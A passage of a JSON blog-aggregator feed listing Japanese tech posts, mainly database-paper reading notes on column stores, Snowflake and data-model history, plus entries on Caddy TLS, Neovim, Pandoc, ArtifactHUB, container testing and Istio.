biCL > BicL > bicL > biclとなる。まとめと考察既に知られていたように行指向ストアは列指向ストアに対して常に優れたパフォーマンスを発揮した。リアライゼーションとデータの圧縮はパフォーマンスの改善に大きく影響した。ブロックプロセッシングやInvisible Joinも上記の二つに比べると影響は小さいものの最適化として有効に働いた。Oracle Document 索引↩Bloom Filters↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/3_columner_store_vs_rower_store","isoDate":"2023-02-12T15:22:37.000Z","dateMiliSeconds":1676215357000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Caddy の Internal TLS 証明書の有効期間を指定する","contentSnippet":"以前 ワンライナーで https の Reverse Proxy を実行する という記事で Caddy を使うと local での開発用に任意のドメインの証明書を簡単に発行できるし CA の証明書も OS の証明書スト","link":"https://blog.1q77.com/2023/02/caddy-internal-tls-cert-lifetime/","isoDate":"2023-02-09T14:29:32.000Z","dateMiliSeconds":1675952972000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":" ポストモーテムはじめました","contentSnippet":"ポストモーテムはじめました - 良いポストモーテムを執筆するために必要な5つのポイント というタイトルで登壇してきました。\\r\\r2023年02月09日\\rインシデントにどう対応してきたか?みんなで学ぶポストモーテム Lunch LT\\rhttps://findy.connpass.com/event/273197/\\r\\r『ポストモーテムはじめました』というタイトルで登壇しました。 - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","link":"https://speakerdeck.com/nwiizo/posutomotemuhazimemasita","isoDate":"2023-02-09T05:00:00.000Z","dateMiliSeconds":1675918800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Snowflakeの論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み、感想と抄訳のようなものにまとめます。まとめていたのですが、そもそも全体をまとめてしまっていいのか? 文量もふえてしまうので論文紹介のやり方 / How to reviewで紹介されている方法を参考にやっていきます。ただし実装論文が対象なので手法の説明は厚めにとりあげ、結果については省略します。今回は近年DWHとして存在感を増しているSnowflakeがどのようなアーキテクチャを取っているか、そしてどのように分散システムの上にデータベースシステムを構築しているかについての内容になります。https://15721.courses.cs.cmu.edu/spring2023/papers/02-modern/vuppalapati-nsdi22.pdfBuilding An Elastic Query Engine on Disaggregated Storage研究全体の背景Cloud技術をベースとしたデータウェアハウス(DWH)であるSnowflakeの運用経験に基づいた論文。Snowflakeは計算リソースとストレージの柔軟性、マルチテナント、高いパフォーマンスを目的にデザインされている。この論文ではSnowflakeが設計と実装においてどのようにCloud技術を応用し目的を達成しているかについて書かれている。問題意識既存のクエリ実行エンジンやDWHではShared-nothing方式を採用することでデータをノードに分散させ、処理をスケールさせたり高いパフォーマンスを実現していた。一方でワークロードによって要求のことなる各種コンピュータリソースを適切に分配することが難しい、Shared-nothingによる静的にパーティションされたデータでは要求によってノードを増減させることが難しいという問題があった。論文の目的SnowflakeがどのようなアーキテクチャによってShared-nothingが抱える問題を解決し、またクエリプランニングと最適化、同時実行制御を行っているのかの実装をまとめ、紹介している。手法の説明設計の概要Snowflakeでは永続(persistent)データと中間(intermediate)データで扱かいを変えている。Figure1: Snowflake (Virtual) Warehouse Architecture一時ストレージの設計SSDで構成されている。一時データは可能な限りメモリに保存されメモリで保持しきれないデータはスワップ領域のようにSSDに保存される。さらにSSDの空き容量が枯渇した場合、一時的に永続ストレージに保存される。一時ストレージは永続化が不要なデータの保管以外にも永続化データのキャッシュとしても機能する。このキャッシュは日和見的(opportunistically)キャッシュと呼ばれており、その理由は中間データを常に優先するからである。クエリスケジューリングユーザーからのクエリはサービスエンドポイントでパース、実行計画の生成、最適化、実行に必要タスクの生成が行なわれ、ここで生成されたread/writeを含むタスクは計算リソースに割り振られ、計算リソースから必要に応じて一時、永続ストレージからのデータ取得が行なわれる。このときタスクの割り振りは一時ストレージが対象の永続データをキャッシュしているかも考慮される。またSnowflakeは Work stealingという他ノードに割り振られたタスクをあるノードの方が速く処理できる場合、臨機応変にタスクを実行するしくみがある。リソースの柔軟性ストレージと計算リソースを分離することでSnowflakeはそれぞれを独立してスケールアウトさせている。ストレージの柔軟性はデータストアであるS3に委任している一方で、計算リソースの柔軟性は事前に暖気運転されたノードプールによって実現している。Snowflakeでは永続データのキャッシュ時に保存されるノードが決っている一方で、対象となるデータをキャッシュするノードがない場合、一時的にほかのノードにタスクを割り振り計算リソースがスケールし対象となるデータがキャッシュされた時に再度タスクを割り当てるという機能が存在する。まとめと考察SnowflakeはS3を永続ストレージとして使用、VM全体を計算リソースとそのメモリ、スワップ領域とみなすことでスケーラビリティと高いパフォーマンスを実現した。とくに日和見的キャッシュとタスクスケジューリングメカニズムはShared-nothing方式の抱えていた、リバランスの問題を解決した。Snowflakeが現在達成できていないマルチテナントや計算リソースの高いユーティリゼーションの実現方法としてあげている手法をとっているため、今後の機能追加が競争力維持のために重要となる。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/2_snowflake_sigmod_22","isoDate":"2023-02-07T15:34:03.000Z","dateMiliSeconds":1675784043000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"NeovimのターミナルをExコマンド実行環境化する","contentSnippet":"Neovim内に開いたTerminalで:から始まる文字列を入力すると、Neovimで実行した結果を表示する仕組みを作ってみました。","link":"https://blog.atusy.net/2023/02/02/zsh-as-nvim-cmdline/","isoDate":"2023-02-02T00:00:00.000Z","dateMiliSeconds":1675296000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2023年の目標","contentSnippet":"前回のブログで「近々、新年の抱負として、今年やりたいことを書きたいと思っています。」と書いておきながら、もう少しで1ヶ月が経ってしまいます。(近々とは?って感じですけど 笑)1月は、大学のテストと溜まりに溜まった課題で手一杯でしたが、1月31日でそれも終わり、ひと段落したため、今年の目標について書いていこうと思います。目標は大きく4つあります。1つ目は、大学の研究です。これは目標というよりも、頑張ることになってますね。どれだけ独学で勉強しても、趣味でいろいろシステム開発しても、まずは大学を卒業しなければ、学士にはなれないため、これは間違いなく最優先で行わなければいけません。大学の授業としても、あと残っているのが卒業研究だけであるため、今年大学でやること・頑張ることはこれだけかなと思います。大学に行って、ひたすら研究、研究、研究になる気がします。2つ目は、Hack The BoxでHackerランクになることです。昨年の3月ごろからHack The Boxを始めて、時間があるときに取り組んでいましたが、Starting Pointのいろいろな箇所で詰まったり、そもそも時間を十分に取れなかったりして、あまり攻略できていませんでした。今年は、授業もあまりなく、時間も取れそうなため、本腰を入れて頑張りたいと思います。具体的な数字でいうと、少なくとも毎日1時間、朝8時〜9時までをHack The Boxを攻略する時間に当てようと思っています。理想は、2時間、3時間、時間が取れるならそれよりもという感じなんですけど、日によっては、忙しい日もあるので、そんな日でも取れそうな最低限の1時間にしました。こういうのは1日に頑張りすぎるよりも、継続することが大事だと思うので、毎日コツコツやっていきたいと思います。将来的にはセキュリティ関連の仕事をしたいため、攻撃を通して防御を学び、防御を通して攻撃を学んでいきたいと思います。3つ目は、資格の取得です。今まで、基本情報技術者、応用情報技術者を取ってきたため、今年は、情報処理安全確保支援士に挑戦したいと思っています。資格は、知識問題でしかないから、社会では使えないという意見もあり、自分でも知識(知っていること) とスキル(できること)は違うと思っているため、半分は同意できるのですが、一方で、資格を取るために勉強するというこの資格を取るまでの過程が大事だとも思っています。また、幅広く体系的な知識を習得できるというのも資格取得のメリットだと思っています。情報処理安全確保支援士取得に向けて、これから頑張りたいと思います。4つ目は、学外のイベントに参加することです。セキュリティキャンプやSecHack365といったセキュリティ関連のイベントに加え、ハッカソンやカンファレンスにも参加していきたいと思っています。前までは、自分のスキルでは学外イベントに参加するのは恥ずかしいと思い、挑戦できていなかったのですが、昨年、ハッカソンやセキュリティ・ミニキャンプに参加することで、参加する人全員がすごい人ではなく、自分と似たような人もいるし、イベントを通して、成長したいという人がたくさんいることも知りました。今年は、昨年に引き続き、より多くのイベントに参加し、成長できる環境に自分から臨んでいきたいと思います。1月も終わり、今年もあと11ヶ月になりましたが、いろいろな経験をして、たくさんの人に出会い、成長できたと言える1年にしていきたいと思います。","link":"https://moz-security.hatenablog.com/entry/2023/02/01/112627","isoDate":"2023-02-01T02:26:27.000Z","dateMiliSeconds":1675218387000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"PandocのLuaフィルタ内で引用文献を処理するpandoc.utils.citeprocを試す","contentSnippet":"Pandocで引用文献を処理する方法として、--citeproc引数と--lua-filter引数を使う場合を比較。 後者ではpandoc.utils.citeproc関数を利用。 Luaフィルタを使うとASTレベルで引用文献を処理するので、更にフィルタをかけたい場合に便利。 ただし、--citeproc引数と併用すると引用文献のリストを2回繰り返すので排他利用を推奨。","link":"https://blog.atusy.net/2023/01/31/pandoc-citeproc-lua/","isoDate":"2023-01-31T00:00:00.000Z","dateMiliSeconds":1675123200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CMU Advanced Database Systems Spring2023のReading Assignmentを読む part1","contentSnippet":"CMU Advanced Database Systems Spring2023とはカーネギメロン大学(CMU)ではAdvanced Database Systemsという講義が開講されており、特に2023年1月始まりの講義です。講義の内容はモダンなDBMSの内部実装を学んで行くコースとなっており、データベースの歴史を皮切りにOLAP DB、ストレージモデルやCompressionなどなど様々な実装を学べるそうです。https://15721.courses.cs.cmu.edu/spring2023/この講義はReading Assignmentがあり、その対象となる論文や書籍内容は一般に公開されています。(一部非公開)この記事ではその第一回、History of Databasesの\\"What Goes Around Comes Around\\"を読んだ感想文となります。CMU生にはさらにWhat \\"What Goes Around Comes Around... And Around\\"という2023年公開の最新版があるそうです。おそらくドキュメント指向やKVS、グラフ指向やNewSQLなど様々な加筆があるのでしょう。読んでみたいですね。論文を読んでIMS、CODASYL時代からリレーショナルへの変遷をたどったことで後世においてより良いとして選ばれたものとそれへの反対、新しい機能の提案とそれが市場に受け入れられるプロセス、そして複雑さとシンプルさのサイクルを学んだ。おそらくこれらの変遷、市場との関わり方はデータベースのみならずあらゆることに適応できるんじゃないかと思う。現在の比較的新しい技術であるNewSQLはもともと市場のelepahntであるGoogleにより生み出され、また既存のRDBが抱えていたwriteスケールアウトへの課題からおそらく今後受容されるのではないかと思う。またXMLで生まれたセミ構造化が比較的シンプルな現在のJSONやドキュメントDBに受け継がれたこと、またビジネス側の素早い開発に対応したいというニーズの合致により現在の成功があるのでしょう。一方でOracleのConverged Databaseの考え方は正しいと思える反面、RDBの起原であるシンプルさからは遠ざかっているように感じる。XMLやCODASYLほど難しくなければ大丈夫なのだろうが、このまま機能を膨らませ続けると……と不安にもなる。What Goes Around Comes AroundAbstractこの論文はタイトルからわかるとおりデータベースの歴史についてまとめたもので、1960年代から2006年までの35年を9つの時代に分けて振り返っている。35年の歴史の中でデータモデルは共通したアイデアが多く、たった数種類しか登場していない。データベースの歴史を学ぶ重要性としてほとんどの研究者は歴史を学んでおらず、すでに否定されたアプローチを再発してしまうことがあるためである。実際今(2006年当時)のXML時代は1970年代のCODASYLの「複雑さ」という失敗を繰り返している。Introductionデータモデルの提案は1960年代から始まった。この論文では以下の9つの時代についてまとめている。階層型(IMS): 1960年代後半から1970年代にかけてネットワーク(CODASYL): 1970年代リレーショナル: 1970年代から1980年代前半にかけてエンティティ-リレーションシップ: 1970年代拡張リレーショナル: 1980年代セマンティック: 1970年代後半から1980年代オブジェクト指向: 1980年代後半から1990年代前半オブジェクトリレーショナル: 1980年代後半から1990年代前半セミ構造化: 1990年代後半から現在(2006年当時)階層型(IMS): 1960年代後半から1970年代にかけてIMSは1968年にリリースされた階層型データモデルでレコードタイプの概念を持っていた。レコードタイプとはデータ型に紐付いた名前のついたフィールドの集まりである。それぞれのインスタンスのレコードタイプはレコードタイプによって指定されたデータの説明に従っており、またいくつかの名前付きフィールドはどのレコードを指定しているのか明示していなければならない(Keyのようなもの)。そしてレコードタイプは木構造を成している1これらを満たす木構造データには2つの課題があり、は情報の重複と(ルート以外)親が必ず存在しなければ行けないことである。コメント: 現代プログラミングでも情報の重複は同様の理由で忌諱されてますね。IMSが階層型データを選んだのはデータ処理をシンプルにするためである。IMSの操作言語DL/1は1レコードずつしか処理できず(record-at-a-time)、プログラマがクエリのアルゴリズムを記述しIMSが実行する方式を取っていた。IMSは4つのストレージフォーマットがありいくつかはDL/1の実行に制限を与えた。それはオペレーションのパフォーマンス劣化を防ぐためであったものの、DL/1のプログラムが正しく動くことを保証できないためデータの保存方法を最適化することができなかった。データベースアプリケーションがどんなチューニングが行われたかに関わらず物理レベルで動き続けることをデータの物理的独立性(physical data independence)と呼ぶ。DBMSアプリケーションは通常一度に書かれるわけではないため重要である。新規プログラムが追加されるたびにチューニングの需要は変わり、より良いDBMSのパフォーマンスはストレージの構成を変更することで達成される。データの論理的独立性(logical data independence)をサポートしていた。コメント: ビジネスロジックが増えてもDBMSを使うアプリの機能を追加できないと困る上で記載したIMSの課題を解決するためにIMSは異なる2つのデータベースからデータタイプを共通の値で\\"fused(joined)\\"する方法を提供した。このIMSの特徴から以下のレッスンを学ぶことができる。データの物理的・論理的独立性は非常に望ましい木構造データモデルはとても制限的洗練された木構造データの論理的データ再構成は難しいrecord-at-a-timeユーザーインターフェースはプログラマにマニュアルのクエリ最適化を強制し、それはしばしば難しい。ネットワーク(CODASYL): 1970年代CODASYL(Committie on Data Systems Languages)委員会は1969年にネットワークデータモデルのレポートをリリースした。委員会は1971年、1973年とread-at-a-time型データ処理言語の仕様をリリースしており、アドホック型の委員会であった。ネットワークデータモデルはそれぞれKeyを持ったレコードタイプの集まりから構成されており、木構造というよりはネットワーク構造になっている。インスタンスは複数のownerを持つことができ、IMSが\\"fused\\"として提供していたデータ構造をより自然に表現できた。childレコードタイプを持つことができ、要するに1-to-nの関係が成り立つ。CODASYLのネットワークは複数の名前の付きレコードタイプと名前付きsetからなるグラフであり、そこには必ず一つ以上のentry pointが存在する。entry pointとはいずれのsetのchildでもないレコードセットである。このCODASYLのデータ構造はIMSのいくつかの問題を解決したものの、setが双方向関係(two-way relationship)しか示すことができず三方向関係(three-way relationship)を表現する場合3つのsetが必要になり不自然な表現になってしまう。コメント: 3つのFKを持つテーブルを作るときにjunction tableが3必要になるからってこと?またCODASYLのデータアクセス言語はrecord-at-a-time方式を取っており、子レコードタイプのentry pointとなる親以外の親に到達したい場合、entry pointのsetに属する子を探しその中から子につながる特定のsetを持つ親を探すという方法を取る。プログラマが最後にアプリケーションがアクセスしたレコード、最後にアクセスしたレコードのレコードタイプ、そして最後にアクセスしたレコードのsetタイプを管理する必要がありCharlie Bachman(産業界のデータベース研究者)が「四次元を航海するようだ」と表現下ほど難解であった。加えてIMSがそれぞれのデータベースが独立して外部データソースからのバルクロードが可能だったに対し、CODASYLはすべてのデータが一つの大きなネットワークであったため大きなデータを一度にロードする必要があり時間がかかった。そしてCODASYLのデータベースが破損した場合すべてのデータをダンプから復元する必要があり、データの復旧に多くの時間がかかった。このCODASYLの特性から以下のレッスンを学ぶことができる。ネットワークは階層型に比べ柔軟であるが複雑でもある。ネットワークの読み込みと復旧は階層型に比べ複雑である。リレーショナル: 1970年代から1980年代前半にかけて階層型とネットワーク型データベースを背景に1970年、Ted Coddはリレーショナルモデルを提案した。このデータモデルはデータの独立性にフォーカスされている。この提案は以下の3つである。データをシンプルに構造で保存する(テーブル)データにはハイレベルなset-at-a-time DMLでアクセスする物理ストレージへの提案は不要シンプルなデータ構造にすることで論理的データの独立性を、ハイレベルなDMLでを提供することで物理的データの独立性を提供し、物理ストレージの提案を不要とした。またリレーショナルモデルの柔軟さはほとんどすべてのデータを表現可能というアドバンテージを実現した。研究者を始めとしたリレーショナルデータベース推進派と産業界のDBMSユーザーによるCODASYL推進派で、どちらのほうが優れているかという議論が行われた。マイコンの大量生産と一般化により、OracleやINGRESなど多くの商用リレーショナルシスタムが台頭した。一方で既存のネットワークモデルシステムは移植性が低くマイコンではあまり広がらなかった。しかし産業界が強いメインフレームではIMSやIDMSなどリレーショナルではないシステムが引き続き使われた。また現実的なデータマネジメントはメインフレームで行われた。1984年にIBMがDB/2をメインフレーム向けにリリース。DB/2は容易に使うことができたため市場で大きな成功を収め、リレーショナルデータベースをの今後を決定付けSQLはリレーショナル言語のデファクトとなった。コメント: RDBが成功するのは必然のように思えるがIBMのDB/2がリリースされなければどのように展開していたのだろうその後IBMはIMSのインターフェースとしてDL/1だけではなくSQLを対応する方針を取った。IMSの上にSQLを対応させるのは非常に難航した。これらの経緯から以下のレッスンを学ぶことができる。Set-at-a-time言語は物理的データの独立性を向上させるため、データモデルに関わらず優れている論理的データ独立性はシンプルなデータモデルほど達成しやすい技術的な議論は技術的な理由よりも市場の雄によって左右されることが多いクエリオプティマイザはDBMSアプリケーションのプログラマによって書かれたrecord-at-a-timeのクエリより優れていたエンティティ-リレーションシップ: 1970年代Peter Chenは1970年代中盤にリレーショナルやCODASYL、階層型の大体としてエンティティ-リレーションシップ(E-R)データモデルを提案した。この提案ではデータベースをエンティティのインスタンスの集合として捉え、いずれのエンティティもアトリビュートというエンティティの特徴を定めるデータエレメントを持つと定義した。アトリビュートをユニークなデータ(Key)としてデザインし、エンティティ間でリレーションシップを持つと定義した。データモデルとしてE-Rデータモデルが受け入れられることはなかった一方でデータベース(特にスキーマ)のデザインツールとして大きく成功した。当時すでに第一から第四を含む複数の正規化が提案されていたものの、機能的依存関係(Functional Dependencies)などを前提としていた。そのためデータベースアドミニストレータにとってはすぐに適用することが難しかった一方で、E-Rデータモデルを使用した手法とツールは第三正規化を行ったテーブル群を提供できたため大きく成功した。このE-Rデータモデルの経緯から機能的依存関係の理解は多くの人々にとって難しいという学びを得ることができる。拡張リレーショナル: 1980年代1980年代初頭頃からリレーションデータベースやクエリ言語の考えを拡張する形で様々論文が発表された。その中で発表された考えの中で特に影響の大きかったものはGemというクエリ言語であり特徴は以下である。Set-valued attributesアトリビュートに対して、そのようなデータ型を提供するAggregation (tuple-reference as a data type)Foreign Keyで参照されたほかエンティティのタプルに対して、\\"cascated dot\\"記法による以下のようなアクセス方法を提供する。Select Supply.SR.snoFrom SupplyWhere Supply.PT.pcolor = \\"red\\"Generalizationアトリビュートが共通する複数のエンティティがある時、共通部分を切り出したエンティティとそれを継承(inherit)するエンティティを作成できる。Gemは様々な便利な機能を提供した一方でリレーショナルモデルのクエリ言語に比べて速度が不足した。トランザクション処理のパフォーマンスとスケーラビリティに焦点を起き、大規模なビジネスシーンで使われた一方拡張リレーショナルなアイデアが与えた影響は一部にとどまった。そこから以下の学びを得ることができる。大きなパフォーマンスの改善または機能的優位性がない限り、新しい機能は受け入れられないセマンティック: 1970年代後半から1980年代時をおなじくしてリレーショナルとは他の学派がリレーショナルデータモデルは意味的に貧弱であると主張し、ポストリレーショナルデータモデルとしてセマンティックデータモデル(SDM)を提案した。SDMはクラスと呼ばれる同じスキーマに従うレコードの集まりに焦点を当てている。SDMはGemのようにAggrigationやGeneralizationを実装し、またSDMのGemeralizationでは複数のクラス同士で対応関係を持つアトリビュートや複数のエンティティからの継承(multiple inheritance)を提供した。そしてSDMのクラスはクラス変数を持っていた。ほとんどのSDMは非常に複雑であり、机上の提案で有ることが多かった。一部SDMデータベースを実装したものがあったが、そのときにはすでにSQLがデファクトと鳴っており、SQLとの互換性がないシステムは市場において成功を収めることは難しかった。SDMは拡張リレーショナルと同様の問題を2つ抱えていた。一つはほとんどの機能がリレーショナルデータベースで再現可能であること。もう一つは著名なベンダーはトランザクション処理の効率化に心血を注いでおり、あまり大きな影響を残すことがなかった。オブジェクト指向: 1980年代後半から1990年代前半1980年代半ばからオブジェクト指向DBMS(OODB)に関心が集まった。この流れはリレーショナルデータベースとC++をはじめとしたオブジェクト指向言語との間のインピーダンスミスマッチに起因するものであった。1970年末期、RDBでは独自の命名システム、データ型、クエリの結果を持ち、またプログラミング言語もそれらに対する独自のシステムを持っていた。データベースとプログラミング言語がそれぞれにやり取りするための仕組みを提供する必要があった。DBMSとプログラミング言語をより密結合させる機能を実装する流れができ、特に永続的プログラミング言語(persistent programming language)というプログラミング言語の変数でディスクベースのデータをメモリに乗ったデータのように扱う方法などを提供する言語を実装しようとした。プログラミング言語の取り組みはプログラミング言語の専門家には受け入れられず一般化することはなかった。このような経緯とC++の興盛があり1980年半ばに永続的プログラミング言語が再度注目され、またオブジェクト指向データベース(OODB)の研究が盛んになった。OODBではC++をデータモデルとしてサポートし、その結果C++のオブジェクトを永続化した。永続化C++はエンジニア市場に訴求するために1. 問い合わせはC++オブジェクトを通して参照する、2. トランザクション管理を行わない、3. 従来のC++と競争できるランタイムを提供する、といった要件を定めた。コメント: ORMマッパーのようなプログラム側でよしなにするのではなくDBMSで対処しようとするのが実にデータベース脳しかし以下のような理由からすべてのOODBベンダーは失敗した。OODBベンダーはデータのロード、アンロード機能を提供したが多くの顧客はそれに大金を払うほどの価値を見出さなかったスタンダードが存在せず、全てのOODBは互換性がなかった永続化されたオブジェクトのなにかが変更された場合、それを使用するすべてのプログラムは再読込を必要としたC++以外で書かれたアプリケーションが一つでもあるとOODBのデータを共有できなかった加えてOODBはトランザクション管理がなくビジネスデータを扱うには貧弱で、プログラムがデータベース上のすべてのデータにアクセスできる。そしてCODASYL時代と同様record-at-a-timeのクエリしか提供しないといった理由から市場に浸透することはなかった。これらのOODB時代から以下の教訓を得られる。システムは大きな課題を解決できなければ売れない永続的プログラミング言語はプログラミング言語のコミュニティからのサポートがなければ成功しないオブジェクトリレーショナル: 1980年代後半から1990年代前半オブジェクトリレーショナル(OR)時代はINGRESで地理情報システム(GIS)を扱いたいというモチベーションから始まった。INGRESSのB-treeでは一次元アクセスしか実装されておらず、簡単なGIS検索をSQLで表現することが難しく普通のB-treeで処理しようとすると非常に性能が悪かった。初期のRDBでは整数型、フロート型、文字列型と基本的なオペレータ、B-treeによるデータアクセスのみがサポートされていたが、GISをはじめとしたそれ以外のデータ型とアクセス方法を必要とする市場があった。そのような状況に対応するためORはユーザー定義のデータ型、オペレータ、関数、そしてアクセスメソッドの機能をSQLエンジンに追加した。その機能を搭載したプロトタイプとして1986年にPostgresが発表した。GISのような多次元インデックスに対応するためQuad treeやR-treeが提案され、高性能GIS DBMSを構築することができた。時をおなじくして、Sybaseがストアドプロシージャを開発した。これによりアプリケーションとDBMSの間で処理を少ないやり取りに減らすことができ、アプリケーションのパフォーマンスを効率化することができた。オブジェクト指向RDBMSとなった。当時PostgresはIlustraにより商用化され数年間は市場を探すことに苦労したものの、その後のインターネットの流行の波に乗りサイバースペースのデータベース(the data base for cyberspace)として成功を収めた。Postgresによって発展したOR技術はOracleなどにも適用され、またXMLのサポートにも使われている(た)。一方でOR技術はスタンダードが存在しないためビジネスでの仕様がはばかられた。我々はこのPostgresとオブジェクトリレーショナルから以下の学びを得られた。オブジェクトリレーショナルのメリットは以下の2つであるデータベースにコードをのせられる(またコードとデータの境界を曖昧にする)ユーザー定義アクセスメソッドの提供新しい技術を広げるにはスタンダードか大手によるゴリ押しが必須セミ構造化: 1990年代後半から現在(2006年当時)直近5年(2006年当時のため2000年ごろ)、セミ構造化データの研究の波が来ている。特にXMLを中心としたXMLSchemaやXQueryと行った技術である。それぞれの研究の共通点として特に下記の2つがある。Schema Last(データが先)複雑なネットワーク指向データモデル(XMLデータモデル)Schema Lastセミ構造化以前のデータモデルではデータをDBMSのに蓄積するためにはスキーマが必要であった。一方でセミ構造化データではスキーマ定義を後回し、または定義せずデータインスタンス自体が構造を説明する方式を取った。アトリビュートがメタデータを持つ必要がある。一方でそのようなデータは同一データタイプのインスタンス同士を比較することが難しい。なぜなら同じオブジェクトの情報が同じ表現をしていることとは限らないからである。このような状態をセマンティック異質性(semantic heterogeneity)と呼ぶ。データは以下の4種類に分類することができる。完全な構造化データいくらかのフィールド名を含む完全な構造化データセミ構造化データテキストデータSchema Lastアプローチを取れるのは3つ目のセミ構造化のみである。なぜなら1,2はORDBMSとして扱われるデータであり、4のテキストデータは完全にスキーマが存在しないからである。またそのようなデータは控えめな量であり、Schema lastデータベースはニッチなマーケットと言えるだろう。コメント: 2023年現在、確かに筆頭ではないもののニッチと言うには大きめな需要だと考える複雑なネットワーク指向データモデル(XMLデータモデル)XMLデータモデルはDocument Type Definitions(DTDs)またはXMLSchemaにより記載されるデータで、DBMS研究者のコミュニティでは欠陥があると考えられている。なぜならこれらの標準は今まで提案されたすべてのデータモデルの仕様を含み、十分複雑な仕様含むからである。例えばXMLSchemaは以下のような特徴がある。IMSのように階層化できるCODASYLやGem、SDMのように参照できるSDMのようにセット・アトリビュートを持てるSDMのように他のレコードを継承できるこれらに加えXMLSchemaはDBMSコミュニティがその複雑さのために既存のデータモデルには用いなかった、union type(一つのアトリビュートが複数のデータ型を取れる機能)などを実装している。XMLSchema以上に複雑なデータモデルも過去には存在していた。これほど複雑なデータモデルについて考察することは難しいが、以下の様なシナリオが考えられる。XMLSchemaはその複雑さから失敗するよりシンプルなXMLSchemaのデータ指向なサブセットが提案されるXMLSchemaはIMSやCODASYLと同様の問題を抱えながらも成功するコメント: 2023年現在JSONは2番目のシナリオのもと十分に成功したと言えるセミ構造化データのサマリXMLデータモデルはその複数の機能からまとめることは難しいが、XMLは通信をまたいで連携するためのデータモデルとして成功しあらゆるシステムはXMLデータの送受信に備えることになるだろう。コメント: 2023年現在ではJSONで置き換えられつつあるとはいえ、セミ構造化データが連携用データモデルとして成功したと言える理由は簡単で他のデータフォーマットがファイアウォールを超えることができない一方で、XMLはシステム間の成約をこう得てプレーンテキストとしてやり取りすることができるためである。XML DBMSは(2006年)現在主流なDBMSと競争することのできるパフォーマンスのエンジンとなると思われるが、Schema Lastは限られた市場でのものになるだろう。次にXqueryは複数ベンダーのOR SQLシステムをマッピングできるサブセットとなるだろう。XqueryをUDFとして定義することは難しくないため、既存のエンジンの上にXQuery関数をUDFとして定義することでSQLインターフェースの上に実装されるだろう。コメント: 実際2023年現在に主流なDBMSであるOracle、MySQL、PostgreSQLはいずれもXqueryとXML機能を提供しているまたXMLは時折セマンティック異質性(semantic heterogeneity)を解決すると考えられているがそのようなことはないだろう。これらのセミ構造化データとXMLはから以下のレッスンが得られる。Schema Lastはおそらくニッチな市場になるだろうXQueryはほぼOR SQLの別のシンタックスとなるだろうXMLはエンタープライズにおけるセマンティック異質性は解決しないまとめ(Full Circle)このペーパーでは30年間のデータモデルの変遷を追って来たが、30年間で一周したと言えるだろう。XMLによる再びの複雑さである。1980年代前半にCODASYLとリレーショナルの対立を経験したものはXMLのの成功を疑っている。歴史と同じ過ちを繰り返さないためにはすでにその道をたどった人々の肩の上に乗ることが重要である。it is always wise to stand on the shoulders of those who went before, rather than on their feet.直近の20年(1980年から2000年にかけて)本質的に新しかったデータモデルのアイデアはデータベース上のコード(オブジェクトリレーショナルから)Schema last(セミ構造化から)のみであった。注釈https://www.imagazine.co.jp/ims-data-solution/)より↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/1_history_of_database","isoDate":"2023-01-29T17:44:04.000Z","dateMiliSeconds":1675014244000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLabで指定したグループ内の全てのリポジトリを一括でcloneする","contentSnippet":"概要1個1個丹精込めて手動でcloneすることに限界を感じたので、一括で自分に関連するリポジトリをcloneする シェルスクリプト.zshrc# リポジトリのディレクトリを作成してからcloneする# 第1引数 URL(https://gitlab.example.com/diaspora/diaspora-client.git)function git_clone_to_path() { [[ -z ${commands[git]} ]] \\\\ && { echo \'git is required\'; return 1; } loca...","link":"https://zenn.dev/tayusa/articles/ae5911391c9440","isoDate":"2023-01-29T17:07:31.000Z","dateMiliSeconds":1675012051000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Neovimのテキストオブジェクトをカスタムできるmini.aiが便利","contentSnippet":"Mini.aiについてテキストオブジェクトを自作するi[で[ foo ]の両端のスペースを含めた範囲を選択するa]で[[ foo ]]のような二重カッコを選択するaj]で「 foo 」のような日本語のカッコを選択するMini.aiについてVimやNeovimのテキストオブジェクト、便利ですよね。","link":"https://blog.atusy.net/2023/01/27/mini-ai-nvim/","isoDate":"2023-01-27T00:00:00.000Z","dateMiliSeconds":1674777600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ArtifactHUBについてのメモ","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","link":"https://zenn.dev/bells17/articles/artifacthub-note","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html cont...","link":"https://zenn.dev/bells17/articles/container-structure-test","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"【Istio⛵️】サービスメッシュの登場経緯とIstioサイドカーインジェクションの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️代表的なサービスメッシュの種類についてIstioのサイドカーインジェクションの仕組みについてこの記事から得られる知識01. はじめに02. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかサービスメッシュのモデルサイドカープロキシメッシュ03. 